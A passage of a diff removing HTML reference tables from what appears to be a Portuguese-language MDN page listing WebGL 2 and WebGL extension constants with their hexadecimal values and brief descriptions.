- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER11</code></td>
- <td>0x8830</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER12</code></td>
- <td>0x8831</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER13</code></td>
- <td>0x8832</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER14</code></td>
- <td>0x8833</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER15</code></td>
- <td>0x8834</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_COLOR_ATTACHMENTS</code></td>
- <td>0x8CDF</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT1</code></td>
- <td>0x8CE1</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT2</code></td>
- <td>0x8CE2</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT3</code></td>
- <td>0x8CE3</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT4</code></td>
- <td>0x8CE4</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT5</code></td>
- <td>0x8CE5</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT6</code></td>
- <td>0x8CE6</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT7</code></td>
- <td>0x8CE7</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT8</code></td>
- <td>0x8CE8</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT9</code></td>
- <td>0x8CE9</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT10</code></td>
- <td>0x8CEA</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT11</code></td>
- <td>0x8CEB</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT12</code></td>
- <td>0x8CEC</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT13</code></td>
- <td>0x8CED</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT14</code></td>
- <td>0x8CEE</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT15</code></td>
- <td>0x8CEF</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Samplers"><em>Samplers</em></h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>SAMPLER_3D</code></td>
- <td>0x8B5F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLER_2D_SHADOW</code></td>
- <td>0x8B62</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLER_2D_ARRAY</code></td>
- <td>0x8DC1</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLER_2D_ARRAY_SHADOW</code></td>
- <td>0x8DC4</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLER_CUBE_SHADOW</code></td>
- <td>0x8DC5</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INT_SAMPLER_2D</code></td>
- <td>0x8DCA</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INT_SAMPLER_3D</code></td>
- <td>0x8DCB</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INT_SAMPLER_CUBE</code></td>
- <td>0x8DCC</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INT_SAMPLER_2D_ARRAY</code></td>
- <td>0x8DCF</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_INT_SAMPLER_2D</code></td>
- <td>0x8DD2</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_INT_SAMPLER_3D</code></td>
- <td>0x8DD3</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_INT_SAMPLER_CUBE</code></td>
- <td>0x8DD4</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_INT_SAMPLER_2D_ARRAY</code></td>
- <td>0x8DD7</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_SAMPLES</code></td>
- <td>0x8D57</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLER_BINDING</code></td>
- <td>0x8919</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Buffers_2"><em>Buffers</em></h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>PIXEL_PACK_BUFFER</code></td>
- <td>0x88EB</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>PIXEL_UNPACK_BUFFER</code></td>
- <td>0x88EC</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>PIXEL_PACK_BUFFER_BINDING</code></td>
- <td>0x88ED</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>PIXEL_UNPACK_BUFFER_BINDING </code></td>
- <td>0x88EF</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COPY_READ_BUFFER</code></td>
- <td>0x8F36</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COPY_WRITE_BUFFER</code></td>
- <td>0x8F37</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COPY_READ_BUFFER_BINDING</code></td>
- <td>0x8F36</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COPY_WRITE_BUFFER_BINDING</code></td>
- <td>0x8F37</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Tipos_de_dados">Tipos de dados</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>FLOAT_MAT2x3</code></td>
- <td>0x8B65</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_MAT2x4</code></td>
- <td>0x8B66</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_MAT3x2</code></td>
- <td>0x8B67</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_MAT3x4 </code></td>
- <td>0x8B68</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_MAT4x2</code></td>
- <td>0x8B69</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_MAT4x3</code></td>
- <td>0x8B6A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_INT_VEC2</code></td>
- <td>0x8DC6</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_INT_VEC3</code></td>
- <td>0x8DC7</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_INT_VEC4</code></td>
- <td>0x8DC8</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_NORMALIZED</code></td>
- <td>0x8C17</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SIGNED_NORMALIZED</code></td>
- <td>0x8F9C</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Atributos_de_Vertex_2">Atributos de <em>Vertex</em></h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>VERTEX_ATTRIB_ARRAY_INTEGER </code></td>
- <td>0x88FD</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VERTEX_ATTRIB_ARRAY_DIVISOR</code></td>
- <td>0x88FE</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Transform_feedback">Transform feedback</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>TRANSFORM_FEEDBACK_BUFFER_MODE</code></td>
- <td>0x8C7F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS</code></td>
- <td>0x8C80</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TRANSFORM_FEEDBACK_VARYINGS</code></td>
- <td>0x8C83</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TRANSFORM_FEEDBACK_BUFFER_START</code></td>
- <td>0x8C84</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TRANSFORM_FEEDBACK_BUFFER_SIZE</code></td>
- <td>0x8C85</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN</code></td>
- <td>0x8C88</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS</code></td>
- <td>0x8C8A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS</code></td>
- <td>0x8C8B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INTERLEAVED_ATTRIBS</code></td>
- <td>0x8C8C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SEPARATE_ATTRIBS</code></td>
- <td>0x8C8D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TRANSFORM_FEEDBACK_BUFFER</code></td>
- <td>0x8C8E</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TRANSFORM_FEEDBACK_BUFFER_BINDING</code></td>
- <td>0x8C8F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TRANSFORM_FEEDBACK</code></td>
- <td>0x8E22</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TRANSFORM_FEEDBACK_PAUSED</code></td>
- <td>0x8E23</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TRANSFORM_FEEDBACK_ACTIVE</code></td>
- <td>0x8E24</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TRANSFORM_FEEDBACK_BINDING</code></td>
- <td>0x8E25</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Framebuffers_e_renderbuffers"><em>Framebuffers </em>e <em>renderbuffers</em></h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING</code></td>
- <td>0x8210</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE</code></td>
- <td>0x8211</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_RED_SIZE</code></td>
- <td>0x8212</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_GREEN_SIZE</code></td>
- <td>0x8213</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_BLUE_SIZE</code></td>
- <td>0x8214</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE</code></td>
- <td>0x8215</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE</code></td>
- <td>0x8216</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE</code></td>
- <td>0x8217</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_DEFAULT</code></td>
- <td>0x8218</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH_STENCIL_ATTACHMENT</code></td>
- <td>0x821A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH_STENCIL</code></td>
- <td>0x84F9</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH24_STENCIL8</code></td>
- <td>0x88F0</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_FRAMEBUFFER_BINDING</code></td>
- <td>0x8CA6</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>READ_FRAMEBUFFER</code></td>
- <td>0x8CA8</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_FRAMEBUFFER</code></td>
- <td>0x8CA9</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>READ_FRAMEBUFFER_BINDING</code></td>
- <td>0x8CAA</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_SAMPLES</code></td>
- <td>0x8CAB</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER</code></td>
- <td>0x8CD4</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_INCOMPLETE_MULTISAMPLE</code></td>
- <td>0x8D56</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Uniforms">Uniforms</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>UNIFORM_BUFFER</code></td>
- <td>0x8A11</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BUFFER_BINDING</code></td>
- <td>0x8A28</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BUFFER_START</code></td>
- <td>0x8A29</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BUFFER_SIZE</code></td>
- <td>0x8A2A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_VERTEX_UNIFORM_BLOCKS</code></td>
- <td>0x8A2B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_FRAGMENT_UNIFORM_BLOCKS</code></td>
- <td>0x8A2D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_COMBINED_UNIFORM_BLOCKS</code></td>
- <td>0x8A2E</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_UNIFORM_BUFFER_BINDINGS</code></td>
- <td>0x8A2F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_UNIFORM_BLOCK_SIZE</code></td>
- <td>0x8A30</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS</code></td>
- <td>0x8A31</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS</code></td>
- <td>0x8A33</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BUFFER_OFFSET_ALIGNMENT</code></td>
- <td>0x8A34</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>ACTIVE_UNIFORM_BLOCKS</code></td>
- <td>0x8A36</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_TYPE </code></td>
- <td>0x8A37</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_SIZE</code></td>
- <td>0x8A38</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BLOCK_INDEX</code></td>
- <td>0x8A3A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_OFFSET</code></td>
- <td>0x8A3B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_ARRAY_STRIDE</code></td>
- <td>0x8A3C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_MATRIX_STRIDE</code></td>
- <td>0x8A3D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_IS_ROW_MAJOR</code></td>
- <td>0x8A3E</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BLOCK_BINDING</code></td>
- <td>0x8A3F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BLOCK_DATA_SIZE</code></td>
- <td>0x8A40</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BLOCK_ACTIVE_UNIFORMS</code></td>
- <td>0x8A42</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES</code></td>
- <td>0x8A43</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER</code></td>
- <td>0x8A44</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER</code></td>
- <td>0x8A46</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Objetos_de_sincronização">Objetos de sincronização</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>OBJECT_TYPE</code></td>
- <td>0x9112</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SYNC_CONDITION</code></td>
- <td>0x9113</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SYNC_STATUS</code></td>
- <td>0x9114</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SYNC_FLAGS</code></td>
- <td>0x9115</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SYNC_FENCE</code></td>
- <td>0x9116</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SYNC_GPU_COMMANDS_COMPLETE</code></td>
- <td>0x9117</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNALED</code></td>
- <td>0x9118</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SIGNALED</code></td>
- <td>0x9119</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>ALREADY_SIGNALED</code></td>
- <td>0x911A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TIMEOUT_EXPIRED</code></td>
- <td>0x911B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>CONDITION_SATISFIED</code></td>
- <td>0x911C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>WAIT_FAILED</code></td>
- <td>0x911D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SYNC_FLUSH_COMMANDS_BIT</code></td>
- <td>0x00000001</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Constantes_diversas">Constantes diversas</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>COLOR</code></td>
- <td>0x1800</td>
- <td> </td>
- </tr>
- <tr>
- <td>DEPTH</td>
- <td>0x1801</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL</code></td>
- <td>0x1802</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MIN</code></td>
- <td>0x8007</td>
- <td> </td>
- </tr>
- <tr>
- <td>MAX</td>
- <td>0x8008</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH_COMPONENT24</code></td>
- <td>0x81A6</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STREAM_READ</code></td>
- <td>0x88E1</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STREAM_COPY</code></td>
- <td>0x88E2</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STATIC_READ</code></td>
- <td>0x88E5</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STATIC_COPY</code></td>
- <td>0x88E6</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DYNAMIC_READ</code></td>
- <td>0x88E9</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DYNAMIC_COPY</code></td>
- <td>0x88EA</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH_COMPONENT32F</code></td>
- <td>0x8CAC</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH32F_STENCIL8</code></td>
- <td>0x8CAD</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INVALID_INDEX</code></td>
- <td>0xFFFFFFFF</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TIMEOUT_IGNORED</code></td>
- <td>-1</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_CLIENT_WAIT_TIMEOUT_WEBGL</code></td>
- <td>0x9247</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Constantes_definidas_nas_extensões_de_WebGL">Constantes definidas nas extensões de WebGL</h2>
-
-<h3 id="domxref(ANGLE_instanced_arrays)">{{domxref("ANGLE_instanced_arrays")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE</code></td>
- <td>0x88FE</td>
- <td>Describes the frequency divisor used for instanced rendering.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(WEBGL_debug_renderer_info)">{{domxref("WEBGL_debug_renderer_info")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>UNMASKED_VENDOR_WEBGL</code></td>
- <td>0x9245</td>
- <td>Passed to <code>getParameter</code> to get the vendor string of the graphics driver.</td>
- </tr>
- <tr>
- <td><code>UNMASKED_RENDERER_WEBGL</code></td>
- <td>0x9246</td>
- <td>Passed to <code>getParameter</code> to get the renderer string of the graphics driver.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(EXT_texture_filter_anisotropic)">{{domxref("EXT_texture_filter_anisotropic")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>MAX_TEXTURE_MAX_ANISOTROPY_EXT</code></td>
- <td>0x84FF</td>
- <td>Returns the maximum available anisotropy.</td>
- </tr>
- <tr>
- <td><code>TEXTURE_MAX_ANISOTROPY_EXT</code></td>
- <td>0x84FE</td>
- <td>Passed to <code>texParameter</code> to set the desired maximum anisotropy for a texture.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(WEBGL_compressed_texture_s3tc)">{{domxref("WEBGL_compressed_texture_s3tc")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>COMPRESSED_RGB_S3TC_DXT1_EXT</code></td>
- <td>0x83F0</td>
- <td>A DXT1-compressed image in an RGB image format.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGBA_S3TC_DXT1_EXT</code></td>
- <td>0x83F1</td>
- <td>A DXT1-compressed image in an RGB image format with a simple on/off alpha value.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGBA_S3TC_DXT3_EXT</code></td>
- <td>0x83F2</td>
- <td>A DXT3-compressed image in an RGBA image format. Compared to a 32-bit RGBA texture, it offers 4:1 compression.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGBA_S3TC_DXT5_EXT</code></td>
- <td>0x83F3</td>
- <td>A DXT5-compressed image in an RGBA image format. It also provides a 4:1 compression, but differs to the DXT3 compression in how the alpha compression is done.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(WEBGL_compressed_texture_etc)">{{domxref("WEBGL_compressed_texture_etc")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>COMPRESSED_R11_EAC</code></td>
- <td>0x9270</td>
- <td>One-channel (red) unsigned format compression.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_SIGNED_R11_EAC</code></td>
- <td>0x9271</td>
- <td>One-channel (red) signed format compression.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RG11_EAC</code></td>
- <td>0x9272</td>
- <td>Two-channel (red and green) unsigned format compression.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_SIGNED_RG11_EAC</code></td>
- <td>0x9273</td>
- <td>Two-channel (red and green) signed format compression.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGB8_ETC2</code></td>
- <td>0x9274</td>
- <td>Compresses RBG8 data with no alpha channel.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGBA8_ETC2_EAC</code></td>
- <td>0x9275</td>
- <td>Compresses RGBA8 data. The RGB part is encoded the same as <code>RGB_ETC2</code>, but the alpha part is encoded separately.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_SRGB8_ETC2</code></td>
- <td>0x9276</td>
- <td>Compresses sRBG8 data with no alpha channel.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_SRGB8_ALPHA8_ETC2_EAC</code></td>
- <td>0x9277</td>
- <td>Compresses sRGBA8 data. The sRGB part is encoded the same as <code>SRGB_ETC2</code>, but the alpha part is encoded separately.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC2</code></td>
- <td>0x9278</td>
- <td>Similar to <code>RGB8_ETC</code>, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC2</code></td>
- <td>0x9279</td>
- <td>Similar to <code>SRGB8_ETC</code>, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(WEBGL_compressed_texture_pvrtc)">{{domxref("WEBGL_compressed_texture_pvrtc")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>COMPRESSED_RGB_PVRTC_4BPPV1_IMG</code></td>
- <td>0x8C00</td>
- <td>RGB compression in 4-bit mode. One block for each 4×4 pixels.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGBA_PVRTC_4BPPV1_IMG</code></td>
- <td>0x8C02</td>
- <td>RGBA compression in 4-bit mode. One block for each 4×4 pixels.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGB_PVRTC_2BPPV1_IMG</code></td>
- <td>0x8C01</td>
- <td>RGB compression in 2-bit mode. One block for each 8×4 pixels.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGBA_PVRTC_2BPPV1_IMG</code></td>
- <td>0x8C03</td>
- <td>RGBA compression in 2-bit mode. One block for each 8×4 pixe</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(WEBGL_compressed_texture_etc1)">{{domxref("WEBGL_compressed_texture_etc1")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>COMPRESSED_RGB_ETC1_WEBGL</code></td>
- <td>0x8D64</td>
- <td>Compresses 24-bit RGB data with no alpha channel.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(WEBGL_compressed_texture_atc)">{{domxref("WEBGL_compressed_texture_atc")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>COMPRESSED_RGB_ATC_WEBGL</code></td>
- <td>0x8C92</td>
- <td>Compresses RGB textures with no alpha channel.</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGBA_ATC_EXPLICIT_ALPHA_WEBGL</code></td>
- <td>0x8C92</td>
- <td>Compresses RGBA textures using explicit alpha encoding (useful when alpha transitions are sharp).</td>
- </tr>
- <tr>
- <td><code>COMPRESSED_RGBA_ATC_INTERPOLATED_ALPHA_WEBGL</code></td>
- <td>0x87EE</td>
- <td>Compresses RGBA textures using interpolated alpha encoding (useful when alpha transitions are gradient).</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(WEBGL_depth_texture)">{{domxref("WEBGL_depth_texture")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>UNSIGNED_INT_24_8_WEBGL</code></td>
- <td>0x84FA</td>
- <td>Unsigned integer type for 24-bit depth texture data.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(OES_texture_half_float)">{{domxref("OES_texture_half_float")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>HALF_FLOAT_OES</code></td>
- <td>0x8D61</td>
- <td>Half floating-point type (16-bit).</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(WEBGL_color_buffer_float)">{{domxref("WEBGL_color_buffer_float")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
